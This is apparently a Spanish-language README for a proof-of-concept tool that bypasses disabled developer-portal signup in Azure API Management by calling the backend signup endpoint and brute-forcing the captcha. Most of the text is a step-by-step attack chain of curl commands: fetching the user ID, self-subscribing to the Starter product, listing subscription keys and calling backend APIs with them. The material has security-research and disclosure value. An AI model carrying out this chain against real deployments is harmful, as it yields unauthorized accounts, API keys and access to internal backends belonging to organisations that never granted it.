
Script en Python para eludir el registro (signup) de Azure APIM cuando la interfaz de usuario (UI) está deshabilitada; esto es diferente de CVE-2025-66390, ya que no requiere configurar nada entre inquilinos (cross tenant).
Un script de prueba de concepto para eludir el registro deshabilitado del portal para desarrolladores en Azure API Management (APIM) invocando directamente la API de registro del backend.
Los portales para desarrolladores de Azure APIM se pueden configurar para deshabilitar el registro de autoservicio a través de la interfaz de usuario del portal. En algunas implementaciones, el endpoint de la API subyacente (/signup) permanece activo y accesible incluso cuando el botón de la interfaz de usuario está oculto o eliminado. Este script explota esa brecha al:
/v2/captcha-challenge/signup con el desafío resuelto y los datos de la cuentaTodas las entradas (URL objetivo, credenciales, proxy) se solicitan de forma interactiva en tiempo de ejecución.
CVE-2025-66390 (CVSS 9.8 Crítico) describe una omisión de registro de APIM entre inquilinos (cross-tenant): un atacante abusa de un inquilino donde el registro está habilitado para crear cuentas en un inquilino diferente donde el registro está deshabilitado, manipulando la cabecera Host en las solicitudes a la API. Microsoft lo marcó como un problema de configuración en lugar de una vulnerabilidad de producto.
Esto no requiere que se cree ningún inquilino cruzado; en su lugar, solo usa el endpoint /v2/captcha-challenge para resolver el captcha en 75000 iteraciones (promedio)
python3 apim_signup.py
Solicita la URL objetivo, los datos de la cuenta, la contraseña (entrada oculta, que se muestra para confirmación) y un proxy opcional.
Una vez que la solicitud de registro tiene éxito y llega el correo de confirmación, la cadena de ataque completa es:
Haz clic en el enlace de confirmación del correo electrónico de registro. Esto activa la cuenta antes de que la API de administración la autentique.
Llama a la API de administración de APIM con autenticación Basic (base64(email:password)) para obtener tu ID de usuario interno:
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}
El campo id devuelto se usa en todas las llamadas posteriores a la API de administración.
O llama a /developer/identity?api-version=2022-04-01-preview <-- la versión no importa Una interfaz de usuario te pedirá iniciar sesión; desde allí también puedes obtener tu id.
El producto Starter predeterminado incluye approvalRequired: false, lo que significa que no se necesita aprobación del administrador. Auto-suscríbete mediante PUT:
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>" \
-H "Content-Type: application/json" \
-d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created
Llega un correo electrónico de confirmación ("Your subscription to the Starter") desde [email protected].
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
-H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}
Usa la clave principal como Ocp-Apim-Subscription-Key contra la puerta de enlace de APIM para realizar llamadas autenticadas al backend:
curl -s "https://<service>.azure-api.net/<api-path>" \
-H "Ocp-Apim-Subscription-Key: <primaryKey>"
El acceso está determinado por las API que están asignadas al producto Starter; en una implementación mal configurada, esto puede exponer backends internos sin autenticación adicional.
Para más detalles, este artículo describe muy bien la cadena; solo quita la parte del inquilino cruzado. https://www.praetorian.com/blog/azure-apim-signup-bypass/